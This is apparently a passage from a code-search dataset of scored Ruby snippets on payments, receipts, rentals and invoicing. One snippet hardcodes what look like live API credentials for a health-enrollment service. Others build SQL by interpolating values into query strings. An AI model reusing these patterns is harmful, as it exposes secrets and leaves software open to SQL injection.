# if current_holding_of(market) == true\n # # update shit, which means add current purchases to existing purchases\n # # -- find the relevant hash in current_holdings for the equity in question\n # @current_holdings[market]\n # # -- add the book_cost of current trade to average_buy_price in current_holdings\n # @current_holdings[market][:book_cost] = trade[:book_cost] + @current_holdings[market][:book_cost]\n # # -- add the quantity of current trade to quantity in current_holdings\n # @current_holdings[market][:quantity] = trade[:quantity] + @current_holdings[market][:quantity]\n # else # if the equity is NOT already held,\n # # add a new record\n # @current_holdings = {market => {:market => market, :quantity => quantity,\n # :book_cost => book_cost, :average_buy_price => book_cost }}\n # end\n #update the balance\n @balance = @balance - book_cost\n end", "title": "" }, { "docid": "ea57bb53615e7b105a1d6dbc0a53e0b4", "score": "0.54207355", "text": "def create_transaction\n Transaction.new(\n @bank,\n @certificates,\n player,\n [proceeds]\n )\n reduce_prices\n end", "title": "" }, { "docid": "107a447088a265920f23d00fc05b8698", "score": "0.5409875", "text": "def receipt\n session.delete :order\n\n @order = Order.find_by_uuid params[:uuid]\n\n @order.flow = OrderFlow.new current_user, @order.supplier\n @order.flow.current_step = :done\n\n @order_status_url = order_status_url :uuid => @order.uuid\n\n if @order.flow.steps.include?(:payment) && !@order.payment_status\n case PayIt::Dibs.status_code params[:statuscode]\n when :declined\n when :declined_by_dibs\n when :authorization_approved\n if PayIt::Dibs.authentic? params.merge(:amount => (@order.price + @order.vat), :currency => @order.currency)\n @order.payment_status = :authorized\n @order.dibs_transaction_id = params[:transact]\n @order.masked_card_number = params[:cardnomask]\n @order.order_events << OrderEvent.new(:name => :payment_authorized, :data => params[:cardnomask])\n @order.save!\n else\n head :bad_request and return\n end\n else\n end\n end\n\n # Ensure idempotency\n unless @order.delivery_status\n @order.order_events << OrderEvent.new(:name => :delivery_requested)\n @order.delivery_status = :initiated\n @order.save!\n\n DocDel.delay.request_delivery @order, order_delivery_url(@order.uuid), :timecap_base => Time.now.iso8601 if DocDel.enabled?\n SendIt.delay.send_confirmation_mail @order, :order => {:status_url => order_status_url(@order.uuid)}\n end\n end", "title": "" }, { "docid": "1d044a83c0528e90fdc27b16e60bddb9", "score": "0.5405637", "text": "def create_transaction(data)\n t = data\n\n t[:id] = all.length + 1\n t[:result] = data[:result]\n t[:created_at] = Time.new.to_s\n t[:updated_at] = Time.new.to_s\n\n new_transaction = Transaction.new(t, self)\n @all << new_transaction\n new_transaction\n end", "title": "" }, { "docid": "53df491e325ea4f4247e7715404fcc1f", "score": "0.5399273", "text": "def create\n\n pd = PokitDok::PokitDok.new(\"RKH2S5iecrOcrGroqrx9\", \"1eEx7fl95Deqz0Y9w3StPfMT8oXoRS8XR4oU2xLH\")\n\n @enrollment = {\n action: \"Change\",\n dependents: [],\n master_policy_number: \"ABCD012354\",\n payer: {\n tax_id: \"654456654\"\n },\n purpose: \"Original\",\n reference_number: \"12456\",\n sponsor: {\n tax_id: \"999888777\"\n },\n subscriber: {\n address: {\n city: \"CAMP HILL\",\n county: \"CUMBERLAND\",\n line: \"100 MARKET ST\",\n line2: \"APT 3G\",\n postal_code: \"17011\",\n state: \"PA\"\n }, \n benefit_status: \"Active\", \n benefits: [\n {\n begin_date: \"Sat Jun 1 00:00:00 1996\", \n benefit_type: \"Health\", \n coordination_of_benefits: [\n {\n group_or_policy_number: \"890111\", \n payer_responsibility: \"Primary\", \n status: \"Unknown\"\n }\n ], \n late_enrollment: false, \n maintenance_type: \"Addition\"\n }, \n {\n begin_date: \"Sat Jun 1 00:00:00 1996\", \n benefit_type: \"Dental\", \n late_enrollment: false, \n maintenance_type: \"Addition\"\n }, \n {\n begin_date: \"Sat Jun 1 00:00:00 1996\", \n benefit_type: \"Vision\", \n late_enrollment: false, \n maintenance_type: \"Addition\"\n }\n ], \n birth_date: \"Fri Aug 16 00:00:00 1940\", \n contacts: [\n {\n communication_number2: \"7172341240\", \n communication_type2: \"Work Phone Number\", \n primary_communication_number: \"7172343334\", \n primary_communication_type: \"Home Phone Number\"\n }\n ], \n eligibility_begin_date: \"Thu May 23 00:00:00 1996\", \n employment_status: \"Full-time\", \n first_name: \"JOHN\", \n gender: \"Male\", \n group_or_policy_number: \"123456001\", \n handicapped: false, \n last_name: \"DOE\", \n maintenance_reason: \"Active\", \n maintenance_type: \"Addition\", \n member_id: \"123456789\", \n middle_name: \"P\", \n relationship: \"Self\", \n ssn: \"123456789\", \n subscriber_number: \"123456789\", \n substance_abuse: false, \n tobacco_use: false\n }, \n trading_partner_id: \"MOCKPAYER\"\n }\n\n @response = pd.enrollment @enrollment\n\n @activity_id = @response[\"meta\"][\"activity_id\"]\n\n @applicationTitle = \"Application #{@activity_id} Submitted\"\n\n respond_to do |format|\n format.html {\n flash[:notice] = \"Registration was successfully created. The registration id is: #{@activity_id}\"\n render :index, layout: false\n }\n format.json { render :show, status: :created, location: @registration }\n end\n end", "title": "" }, { "docid": "e09e46b862bb24817977febbb90b4237", "score": "0.5397064", "text": "def record_payment amount=0, detail_type=UrTransaction.detail_types[:cc_payment]\n # raise error is amount is less that outstanding balance\n if self.check_outstanding > amount then\n raise \"Amount is not enough to cover expenses\"\n return\n end\n\n self.transaction do\n #split payment into tax, cut to jomgolf and actual revenue\n #need to take note when doing delta payments (esp when updating revenue count)\n outstanding_balance = self.check_outstanding\n tax_payment = outstanding_balance - (outstanding_balance / (1 + self.golf_club.tax_schedule.rate)).round(2)\n jomgolf_share = self.reserve_method == \"online\" ? NovGolf::PROVIDER_SHARE : NovGolf::DASHBOARD_PROVIDER_SHARE\n jomgolf_cut = ((outstanding_balance - tax_payment) * jomgolf_share).round(2)\n revenue_payment = outstanding_balance - tax_payment - jomgolf_cut\n cash_change_amount = amount - outstanding_balance\n\n #tax payment\n tranx = self.ur_transactions.new({trans_amount:-(tax_payment), detail_type:UrTransaction.detail_types[:tax_payment]})\n tranx.save!\n\n #service provider share\n tranx = self.ur_transactions.new({trans_amount:-(jomgolf_cut), detail_type:UrTransaction.detail_types[:provider_share]})\n tranx.save!\n\n #actual revenue payment\n tranx = self.ur_transactions.new({trans_amount:-(revenue_payment), detail_type:detail_type})\n tranx.save!\n\n #excess balance\n tranx = self.ur_transactions.new({trans_amount:-(cash_change_amount), detail_type:UrTransaction.detail_types[:excess_payment]})\n tranx.save!\n\n #record the change that needs to be given\n tranx = self.ur_transactions.new({detail_type:UrTransaction.detail_types[:cash_change], trans_amount:-(self.check_outstanding)})\n tranx.save!\n end\n end", "title": "" }, { "docid": "8d314f58321ad1d940a97dae39fef718", "score": "0.53907466", "text": "def gen_payment\n self.payments.create!(amount: self.plan.price, charge_date: Date.today)\n end", "title": "" }, { "docid": "a6e6550b6df833ba70b5d7ddc266c5bf", "score": "0.5385706", "text": "def create_payment(memo, ub)\n amt = memo - ub.balance_cents\n attrs = if amt > 0\n # If amount is greater than zero, it was a regular debt.\n {user: ub.user, payer: ub.payer, balance_cents: amt}\n else\n # Else, it was a repayment (Transfer), so we create a reverse\n # transaction with positive amount.\n # TODO(janek): update type column when STI is ready\n {user: ub.payer, payer: ub.user, balance_cents: -amt}\n end\n Payment.create!(\n attrs.merge(created_at: ub.created_at, updated_at: ub.updated_at),\n )\n end", "title": "" }, { "docid": "807aff41748a0b7d7890def927d1ed5a", "score": "0.53848624", "text": "def createRmaTransactionalEmail(rmaid, orderNumber)\n #gets order info\n getOrderInfoSql = \"SELECT b_email, b_fname, catalog_id \n FROM rma r \n LEFT JOIN orders o USING(order_number) \n WHERE r.rmaid = #{rmaid}\"\n rows = ActiveRecord::Base.connection.select_one(getOrderInfoSql)\n\n #gets request number\n getRequestNumberSql = \"SELECT coalesce(max(request_number), 0) \n FROM transactional_email_queue WHERE type = 'rma_confirm' \n AND catalog_id = '#{rows[\"catalog_id\"]}'\n AND email = '#{rows[\"b_email\"]}'\n AND order_number = '#{orderNumber}'\"\n requestNumber = ActiveRecord::Base.connection.select_value(getRequestNumberSql)\n\n #Wraps all the insertions in a transaction\n ActiveRecord::Base.transaction do \n\n #Inserts the values into the transactional email queue\n ActiveRecord::Base.connection.insert(\n \"INSERT INTO transactional_email_queue (\n type,\n catalog_id,\n email,\n message_name,\n order_number,\n request_number\n )\n VALUES (\n '#{RMA_TYPE}',\n '#{rows[\"catalog_id\"]}',\n '#{rows[\"b_email\"]}',\n '#{MESSAGE_NAME}',\n '#{orderNumber}',\n '#{requestNumber += 1}' \n )\")\n\n #Makes a hash with the attribute for the transactional email\n attributes = { \"fname\" => rows[\"b_fname\"],\n \"rmaid\" => rmaid,\n \"exchange\" => 0\n # \"base_url\" => '', #$self->Tag->area({ href => '' }) SEEMS LIKE WE DON'T NEED TO SAVE THESE VALUES HERE\n # \"label_url\" => \"rma/print_label\" #$self->Tag->area({ href => 'rma/print_label' })\n }\n\n #Iterates the attributes hash to insert each on the transactional email fields \n attributes.each_pair do |key,value|\n ActiveRecord::Base.connection.insert(\n \"INSERT INTO transactional_email_fields (\n transactional_email_queue_id,\n name,\n value\n )\n VALUES (\n (SELECT currval('transactional_email_queue_id_seq')),\n '#{key}',\n '#{value}' \n )\")\n end \n end\n end", "title": "" }, { "docid": "6dd355d50d10bad4571ec2cef6fa99cb", "score": "0.5384506", "text": "def handle_rent_payment\n added_time = rent_payment.to_f / weekly_rent\n\n self.expiration_date = Time.current if expiration_date.nil?\n self.expiration_date = expiration_date + (1.week.to_i * added_time)\n user.transactions << Analyzable::Transaction.create(\n amount: rent_payment,\n target_key: renter_key,\n target_name: renter_name,\n source_key: requesting_object.object_key,\n source_name: requesting_object.object_name,\n source_type: 'tier_station',\n category: 'tier',\n transactable_id: id,\n transactable_type: 'Analyzable::Parcel',\n description: \"Tier payment from #{renter_name}\"\n )\n end", "title": "" }, { "docid": "266b8cdd50d2219af56890f22a1714c0", "score": "0.5381871", "text": "def handle_create_tx params = {}\n params[:fee] ||= 0\n #keys, recipients, fee = 0\n keystore = Bitcoin::Wallet::SimpleKeyStore.new(file: StringIO.new(\"[]\"))\n params[:keys].each do |k|\n begin\n key = Bitcoin::Key.from_base58(k)\n key = { addr: key.addr, key: key }\n rescue\n if Bitcoin.valid_address?(k)\n key = { addr: k }\n else\n begin\n key = Bitcoin::Key.new(nil, k)\n key = { addr: key.addr, key: key }\n rescue\n return { error: \"Input not valid address, pub- or privkey: #{k}\" }\n end\n end\n end\n keystore.add_key(key)\n end\n wallet = Bitcoin::Wallet::Wallet.new(@node.store, keystore)\n\n tx = wallet.new_tx(params[:recipients].map {|r| [:address, r[0], r[1]]}, params[:fee])\n return { error: \"Error creating tx.\" } unless tx\n { hash: tx.hash, hex: tx.to_payload.hth,\n missing_sigs: tx.in.map {|i| [i.sig_hash.hth, i.sig_address] rescue nil } }\n rescue\n { error: \"Error creating tx: #{$!.message}\" }\n p $!; puts *$@\n end", "title": "" }, { "docid": "71625a32d40c3e5d010c229d025c786f", "score": "0.53793734", "text": "def save_trucker_receipt\n tickets = Ticket.find(params[:tickets])\n \n if tickets.first.paid_to_trucker == true\n render :nothing => true, :state => 500\n return\n end\n \n notes = params[:notes]\n job = Job.find(tickets.first.job_id)\n trucker = job.trucker\n \n receipts = Receipt.find_all_by_owner_type_and_owner_id_and_job_id(\"trucker\", trucker.id, job.id, :order => \"payment_num\")\n unless receipts.first.nil?\n payment_num = receipts.last.payment_num + 1\n else\n payment_num = 1\n end\n \n payment_total = 0\n \n tickets.each do |i|\n if i.trucker_rate.rate_type == \"MBF\"\n payment_total = payment_total + round_to(i.trucker_rate.rate*i.net_mbf, 2)\n else\n if i.trucker_rate.rate_type == \"Tonnage\"\n payment_total = payment_total + round_to(i.trucker_rate.rate*i.tonnage, 2)\n else\n payment_total = payment_total + round_to(i.trucker_rate.rate/100*i.value, 2)\n end\n end\n end\n \n #Needed by the pdf\n deduction_items = []\n \n unless params[:deduction_ids].blank?\n params[:deduction_ids].each do |i|\n @item = ReceiptItem.find(i)\n deduction_items.push([@item.item_data,@item.value])\n @item.update_attribute(:is_deducted,true)\n end\n end\n \n deduction_items.each do |i| \n payment_total - i[1].to_f.round(2)\n end\n \n payment_total = round_to(payment_total, 2)\n \n receipt = Receipt.create(:job_id => job.id, :payment_num => payment_num, :owner_id => trucker.id, :owner_type => \"trucker\", :receipt_date => Time.now.strftime(\"%Y-%m-%d\"), :notes => notes, :total_payment => payment_total);\n\n unless params[:deduction_ids].blank?\n params[:deduction_ids].each do |i|\n @item = ReceiptItem.find(i)\n @item.update_attribute(:receipt_id,receipt.id)\n end\n end\n \n tickets.each do |i|\n receipt.tickets.push(i)\n i.paid_to_trucker = true\n i.save\n end\n \n unless deduction_items.first.nil?\n deduction_items.each do |i| \n receipt.receipt_items.create(:item_data => i[0], :value => i[1])\n end\n end\n \n pdf = TruckerReceipt.new(tickets, payment_num, deduction_items, notes, view_context)\n send_data pdf.render, :filename=> \"#{job.name}_#{payment_num}_trucker_receipt\",\n :type=> \"application/pdf\"\n end", "title": "" }, { "docid": "dc013778dea2bd27a3e196dcadf7367f", "score": "0.5377505", "text": "def receipt\n end", "title": "" }, { "docid": "dc013778dea2bd27a3e196dcadf7367f", "score": "0.5377505", "text": "def receipt\n end", "title": "" }, { "docid": "b53af550bb4a2b1b243da975f65a1a55", "score": "0.5376205", "text": "def create\n\t\n #ESTO SE VA DESCOMENTAR CUANDO SE INSERTE EL START_DATE Y EL END_DATE DEL FORMULARIO DE RENEWAL\n puts 'Aki va el array de Renewal'\n puts system_renewal_params\n puts 'Aki termina el arrayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'\n contract = System::Contract.find(system_renewal_params[:contract_id])\n @email = contract.supplier.email\n @start_date=Date.new(system_renewal_params[\"start_date(1i)\"].to_i,system_renewal_params[\"start_date(2i)\"].to_i,system_renewal_params[\"start_date(3i)\"].to_i)\n @end_date=Date.new(system_renewal_params[\"end_date(1i)\"].to_i,system_renewal_params[\"end_date(2i)\"].to_i,system_renewal_params[\"end_date(3i)\"].to_i)\n\t\tt0=Time.new(system_renewal_params[\"start_date(1i)\"].to_i,system_renewal_params[\"start_date(2i)\"].to_i,system_renewal_params[\"start_date(3i)\"].to_i)\n t1=Time.new(system_renewal_params[\"end_date(1i)\"].to_i,system_renewal_params[\"end_date(2i)\"].to_i,system_renewal_params[\"end_date(3i)\"].to_i)\n \n\t puts 'Aki va el parametro start_date sssssssssssssssssssssssssssssssssss'\n puts t1\n @recordar = t0 - APP_CONFIG[\"production\"][:notification_time].to_i.days # resta 1 semana\n @recordar2 = t1 - APP_CONFIG[\"production\"][:notification_time].to_i.days\n puts 'aki va el recordatorio al iniciar la renovacion'\n puts @recordar\n puts 'aki terminaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\n puts @email\n\t\t\n \n\t@start_date_google=system_renewal_params[\"start_date(1i)\"].to_s + '-' + system_renewal_params[\"start_date(2i)\"].to_s + '-' + system_renewal_params[\"start_date(3i)\"].to_s + 'T10:00:52-05:00'\n\t@end_date_google=system_renewal_params[\"end_date(1i)\"].to_s + '-' + system_renewal_params[\"end_date(2i)\"].to_s + '-' + system_renewal_params[\"end_date(3i)\"].to_s + 'T10:00:52-05:00'\n\tx=System::Contract.find(system_renewal_params[:contract_id])\n\t@google_event_start = System::Renewal.event_insert(@start_date_google,@start_date_google,x.description,'neuro')\n @google_event_end= System::Renewal.event_insert(@end_date_google,@end_date_google,x.description,'neuro')\n\n\t@system_renewal = System::Renewal.new(contract_id: system_renewal_params[:contract_id], start_date: @start_date, end_date: @end_date, monto: system_renewal_params[:monto], google_event_start: @google_event_start, google_event_end: @google_event_end)\n\n respond_to do |format|\n if @system_renewal.save\n\t \n ApplicationMailer.delay(run_at: @recordar).send_mail(@email)\n ApplicationMailer.delay(run_at: @recordar2).send_mail(@email)\n\tformat.html { redirect_to @system_renewal, notice: 'Renewal was successfully created.' }\n format.json { render :show, status: :created, location: @system_renewal }\n format.js { redirect_to @system_renewal, notice: 'Renewal was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @system_renewal.errors, status: :unprocessable_entity }\n format.js { render :new }\n end\n end\n end", "title": "" }, { "docid": "2da2d0263f241b0d6d603f7bcc049651", "score": "0.5372425", "text": "def create_transaction_hash( date, payee, amount, type )\n { date: date, payee: payee, amount: amount, type: type }\nend", "title": "" }, { "docid": "52266028f4d74518f64859d643010e2b", "score": "0.53707385", "text": "def transaction(date, payee, amount, type)\n {date: date, \n payee: payee, \n amount: amount, \n type: type}\nend", "title": "" }, { "docid": "1e8e4409918b34f1523eaded168a618c", "score": "0.53632903", "text": "def create\n puts \"Running payment_process.create\"\n ActiveRecord::Base.transaction do\n \t\tcreate_payment_transaction\n \t\tcreate_receipt_transaction\n end \n \t\tcreate_allocation_transactions\n \t\t# verify_journal_set\n\tend", "title": "" }, { "docid": "96d90af122916931fff4520000c4fab9", "score": "0.5362198", "text": "def create\n @payment = Payment.new(params[:payment])\n \n doc_type = DocumentType.find_by_name('PAYMENT').nil? ? DocumentType.create(:name =>'PAYMENT') : DocumentType.find_by_name('PAYMENT')\n consecutive = Consecutive.find_by_consecutive_type_id(doc_type.id).nil? ? Consecutive.create(:serie => 0, :consecutive_type_id => doc_type.id ) : Consecutive.find_by_consecutive_type_id(doc_type.id)\n \n payment_number = consecutive.serie\n until Payment.find_by_payment_number(payment_number).nil?\n payment_number += 1 \n end\n \n @payment.payment_number = payment_number\n \n respond_to do |format|\n if @payment.save\n consecutive.serie= payment_number +1\n consecutive.save\n \n Payment.do_payment(@payment)\n format.html { redirect_to @payment, notice: 'Payment was successfully created.' }\n format.json { render json: @payment, status: :created, location: @payment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c279112e4074afd4f36761e50a25e52", "score": "0.53610206", "text": "def add_new_order_data(req, creditcard, options)\n req.industryType = 'EC' # eCommerce transaction; use 'MO' for Mail Order, RC for Recurring Payment, IV for IVR\n add_merchant_data(req)\n add_invoice(req, options)\n add_creditcard(req, creditcard) \n add_address(req, creditcard, options)\n # Chase requested that we not include this information if we're not\n # doing profiles.\n # add_customer_data(req, options) \n end", "title": "" }, { "docid": "d8b0c31254ef7d7c5eb6e741b621aae4", "score": "0.5360091", "text": "def create_rentals_fee(rental, options = {})\n post(\"rentals/#{rental}/rentals_fees\", rentals_fees: [options]).pop\n end", "title": "" }, { "docid": "a505d85031e42ab352483bc8160e630d", "score": "0.5357814", "text": "def credit_note_create\n doc = Builder::XmlMarkup.new(:target => out_string = \"\", :indent => 2)\n doc.instruct! :xml, :version => \"1.0\", :encoding => \"UTF-8\"\n doc.page {\n check_user(params[:u])\n if @user and (@user.is_admin? or @user.is_reseller? or (@user.is_accountant? and @user.accountant_allow_read('invoices_manage') and @user.accountant_allow_edit('see_financial_data')))\n if @user.is_reseller?\n condition = ['users.owner_id = ? AND users.id = ?', @user.id, params[:user_id].to_i]\n elsif @user.is_admin? or @user.is_accountant?\n condition = ['users.owner_id = 0 AND users.id = ?', params[:user_id].to_i]\n end\n user = User.includes(:tax).where(condition).first\n if user and user.id > 0\n note = CreditNote.new\n note.user = user\n note.comment = params[:comment] if params[:comment]\n\n note.issue_date = Time.at(params[:issue_date].to_i) if params[:issue_date].to_i > 0\n note.number = params[:number].to_i if params[:number].to_i > 0\n note.price = params[:price] || 0\n if params[:issue_date].to_i > 0 and note.save\n doc.status(\"Credit note was created\")\n else\n doc.error(\"Credit note was not created\")\n end\n else\n doc.error(\"User was not found\")\n end\n else\n doc.error(\"Bad login\")\n end\n }\n send_xml_data(out_string, params[:test].to_i)\n end", "title": "" }, { "docid": "b164e6197a9ce56c91c86a2cb6c9826c", "score": "0.5354136", "text": "def create\n @order = Order.new(order_params)\n @ticket = Ticket.find(params[:ticket_id])\n @seller = @ticket.event.user \n\n @order.ticket_id = @ticket.id \n @order.buyer_id = current_user.id \n @order.seller_id = @seller.id \n\n @order.bongo_fee = 0.99 \n @bongo_fee = 0.99\n @order.stripe_fee = (@ticket.ticket_price + @ticket.event.reward_fee + @bongo_fee) * 0.029 + 0.3 \n @order.organizer_set_reward = @ticket.event.reward_fee\n\n \n \n\n #calculate how much rewards are used \n if @net_rewards_available >= @ticket.ticket_price\n @order.rewards_used = @ticket.ticket_price \n elsif @net_rewards_available == 0 \n @order.rewards_used = 0 \n else \n @order.rewards_used = @net_rewards_available \n end\n\n \n @referral = Referral.find(session[:referral]) if session[:referral]\n\n if @referral \n if @referral.order.ticket.event_id == @ticket.event_id \n @order.referral_id = session[:referral]\n end\n end\n\n if @referral && @referral.order.ticket.event_id == @ticket.event_id\n @order.organizer_sales = @ticket.ticket_price - @order.stripe_fee\n else\n @order.organizer_sales = @ticket.ticket_price + @ticket.event.reward_fee - @order.stripe_fee\n end\n \n\n\nunless @ticket.ticket_quantity == 0 \n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n \n begin\n charge = Stripe::Charge.create(\n :amount => ((@ticket.ticket_price * 100).floor + (@ticket.event.reward_fee * 100).floor - (@order.rewards_used * 100).floor) + (@order.bongo_fee * 100).floor,\n :currency => @ticket.event.event_currency,\n :description => \"Example charge\",\n :source => token\n #:receipt_email => \"andrew.selvadurai6@gmail.com\",\n #:destination => {\n # :amount => (@ticket.ticket_price * 100).floor - (@order.stripe_fee * 100).floor,\n # :account => @ticket.event.user.merchant_id \n #}\n )\n\n if charge\n OrderMailer.send_email_to_buyer(@order.buyer, @ticket.event).deliver_later\n end\n flash[:notice] = \"Thanks for ordering!\"\n\n rescue Stripe::CardError => e\n flash[:error] = e.message\n return redirect_to new_ticket_order_path\n\n end\nend\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to mypass_referral_path(@order.referral) }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "f979f28543af4cb503bd66a351a9fe53", "score": "0.53416437", "text": "def create\n @record = Record.new(record_params)\n if(@record.loan_amount != nil && @record.repay_penalty != nil)\n @total_pay = @record.loan_amount.to_f / @record.repay_term1.to_i + @record.repay_penalty.to_f \n @total_pay.round(2)\n\n \n # @total_pay = @record.repay_term1\n # @total_pay = :loan_amount\n @record.loan_amount.to_f\n @total_fin_fee = @record.repay_term1.to_f * @record.repay_penalty.to_f \n # @total_fin_fee.round(2)\n @daily_late_fee = @record.repay_penalty.to_f / 30\n @daily_late_fee.round(2)\n else \n @daily_late_fee = 0.0 \n @total_pay = 0.0\n @total_fin_fee = 0.0\n end\n\n\n\n\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to edit_record_path(@record), notice: 'Record was successfully created.' }\n format.json { render :show, status: :created, location: @record }\n else\n format.html { render :new }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14719b79895963f43aca0bc134da0899", "score": "0.533977", "text": "def fee\n end", "title": "" }, { "docid": "fa92addedd8df9334226ce133845bae4", "score": "0.53368145", "text": "def get_old_receipt\n receipt = Receipt.find(params[:receipt_id])\n job = Job.find(receipt.job_id)\n tickets = receipt.tickets\n payment_num = receipt.payment_num\n\n \n deduction_items = []\n \n receipt_items = ReceiptItem.find(:all,:conditions=>[\"receipt_id =? and is_deducted=?\",receipt.id,true])\n \n unless receipt_items.nil?\n receipt_items.each do |i|\n deduction_items.push([i.item_data, i.value])\n end \n end\n \n notes = receipt.notes\n \n if params[:owner_type] == \"owner\"\n pdf = LandownerReceipt.new(tickets, payment_num, deduction_items, notes, view_context)\n send_data pdf.render, :filename=>\"#{job.name}_#{payment_num}_landowner_receipt\",\n :type=>\"application/pdf\"\n end\n \n if params[:owner_type] == \"logger\"\n pdf = LoggerReceipt.new(tickets, payment_num, deduction_items, notes, view_context)\n send_data pdf.render, :filename=>\"#{job.name}_#{payment_num}_logger_receipt\",\n :type=>\"application/pdf\"\n end\n \n if params[:owner_type] == \"trucker\"\n pdf = TruckerReceipt.new(tickets, payment_num, deduction_items, notes, view_context)\n send_data pdf.render, :filename=>\"#{job.name}_#{payment_num}_trucker_receipt\",\n :type=>\"application/pdf\"\n end\n if params[:owner_type] == \"hfi\"\n pdf = HFIReceipt.new(tickets, payment_num, notes, view_context)\n send_data pdf.render, :filename=>\"#{job.name}_#{payment_num}_hfi_receipt\",\n :type=>\"application/pdf\"\n end\n end", "title": "" }, { "docid": "85b35b472c90710c3b98b5d655df60a3", "score": "0.5333876", "text": "def make_or_update_transport_fee_data rec_obj, obj_args = {}\n transport_fee = rec_obj.is_a?(TransportFee) ? rec_obj : rec_obj.transport_fee\n collection = obj_args[:collection] || transport_fee.transport_fee_collection\n\n if transport_fee.receiver_type == 'Student' and collection.master_fee_particular_id.present?\n batch_id = transport_fee.groupable_id\n student_id = transport_fee.receiver_id\n mfp_id = collection.master_fee_particular_id\n bus_fare = transport_fee.bus_fare\n tax_amount = transport_fee.tax_amount.to_f\n if mfp_id.present?\n discount_amount = transport_fee.transport_fee_discounts.map { |x| x.is_amount ? x.discount : (bus_fare * x.discount * 0.01) }.sum\n\n data_hash = {:financial_year_id => collection.financial_year_id, :student_id => student_id, :batch_id => batch_id,\n :collection_id => collection.id, :collection_type => 'TransportFeeCollection', :actual_amount => bus_fare,\n :amount => (bus_fare - discount_amount + tax_amount), :tax_amount => tax_amount,\n :discount_amount => discount_amount, :school_id => rec_obj.school_id, :master_fee_particular_id => mfp_id}\n\n record_data([data_hash], 'set')\n end\n end\n end", "title": "" }, { "docid": "ba67ca40935cec27b940a9ed31b0aaa2", "score": "0.53298056", "text": "def create_staff_request\n staff_request = StaffRequest.new\n generate_common_fields(staff_request)\n staff_request.employee_name = Faker::Name.name if staff_request.employee_name_required?\n staff_request.annual_base_pay = (rand * 500_000.00).round(2)\n generate_nonop_fields(staff_request, staff_request.annual_base_pay)\n staff_request\n end", "title": "" }, { "docid": "b55d040ed9f98238a669d51e451ad156", "score": "0.5321633", "text": "def create_independent_savings_entry(savings_amount, employee, member )\n cashflow_book = employee.active_job_attachment.office.cashflow_book\n savings_only_transaction_entry = self.transaction_entries.create( \n :transaction_entry_code => TRANSACTION_ENTRY_CODE[:independent_savings_deposit], \n :amount => savings_amount ,\n :transaction_entry_action_type => TRANSACTION_ENTRY_ACTION_TYPE[:inward]\n )\n \n member.add_extra_savings(savings_amount, SAVING_ENTRY_CODE[:independent_savings_deposit], savings_only_transaction_entry) \n\n end", "title": "" }, { "docid": "dc63f4c7ddcf3dc3dcfb8f943f0058c6", "score": "0.53211355", "text": "def create\n get_data\n @adjustment_detail = @adjustment.details.create(params[:adjustment_detail])\n get_data\n end", "title": "" }, { "docid": "51d52cb851621f07b4a62061603966d8", "score": "0.53162694", "text": "def create_note", "title": "" }, { "docid": "7205dc778cec97b1529ce80df7813bfe", "score": "0.5314312", "text": "def transaction(data)\n return Redecard::Transaction.new(data)\n end", "title": "" }, { "docid": "7fa7d74a4edc7c2d406bda468ff6ae19", "score": "0.53100365", "text": "def fee_receipt_params\n params.require(:fee_receipt).permit(:student_id, :semester_id, :date, :receipt_no, :description , :amount)\n end", "title": "" }, { "docid": "b3daf37d7c549ffb063518f663ca938a", "score": "0.5309252", "text": "def create_new(billing_period, accountinvoicetype = \"invoice\", accountinvoicestatus = \"new\")\n account = billing_period.account\n today = Date.today\n ActsAsTenant.with_tenant(account) do\n if account.name\n rec1 = account.name\n rec2 = account.name_addon\n else\n rec1 = \"#{account.firstname} #{account.lastname}\"\n rec2 = nil\n end\n accountinvoice = Accountinvoice.new({\n invoice_date: today,\n email_to: account.email_billing_address,\n accountinvoicetype: Accountinvoicetype.find_by(key: accountinvoicetype),\n invoice_number: get_next_number('invoice'),\n recipient_name_1: rec1,\n recipient_name_2: rec2,\n street: account.street,\n street_no: account.streetno,\n zip: account.zip,\n city: account.city,\n country: account.country,\n accountinvoicestatus: Accountinvoicestatus.find_by(key: accountinvoicestatus),\n paymentmethod: billing_period.paymentmethod,\n paymentdate: billing_period.paymentdate\n })\n accountinvoice.additional_text = I18n.t(:reverse_charge_infotext) if billing_period.account.is_eu_ext?\n accountinvoice.save!\n billing_period.accountinvoice = accountinvoice\n billing_period.save!\n\n Accountinvoiceposition.new.create_new(accountinvoice, billing_period)\n accountinvoice\n end\n end", "title": "" }, { "docid": "d9c65596d2b54ca4e7b29ba0acbd4c89", "score": "0.5307944", "text": "def create\n @rental = Rental.new(rental_params)\n @rental.staff = current_user.staff\n @rental.deposit_amount = @rental.apartment.apartment_type.initial_deposit\n @rental.rent_amount = @rental.apartment.apartment_type.monthly_rent\n\n respond_to do |format|\n if @rental.save\n\n RentalInvoice.create(invoice_date: Date.today, rental: @rental, amount: @rental.deposit_amount, note: \"Initial Deposit\")\n\n format.html { redirect_to @rental, notice: 'Rental Confirmation Details are below. Please pay rental deposit immediately.' }\n format.json { render :show, status: :created, location: @rental }\n else\n format.html { render :new }\n format.json { render json: @rental.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80a429f08c385e0ac3ae846c3ca8d6ea", "score": "0.5305902", "text": "def populate_experience_req_db\n # [amount, total]\n @experience_reqd[0] = [ 0, 0]\n @experience_reqd[1] = [ 14, 14]\n @experience_reqd[2] = [ 40, 54]\n @experience_reqd[3] = [ 106, 160]\n @experience_reqd[4] = [ 214, 374]\n @experience_reqd[5] = [ 406, 780]\n @experience_reqd[6] = [ 664, 1444]\n @experience_reqd[7] = [ 996, 2440]\n @experience_reqd[8] = [ 1044, 3484]\n @experience_reqd[9] = [ 1656, 5140]\n @experience_reqd[10] = [ 3004, 8144]\n @experience_reqd[11] = [ 4000, 12144]\n @experience_reqd[12] = [ 5550, 17694]\n @experience_reqd[13] = [ 6250, 23944]\n @experience_reqd[14] = [ 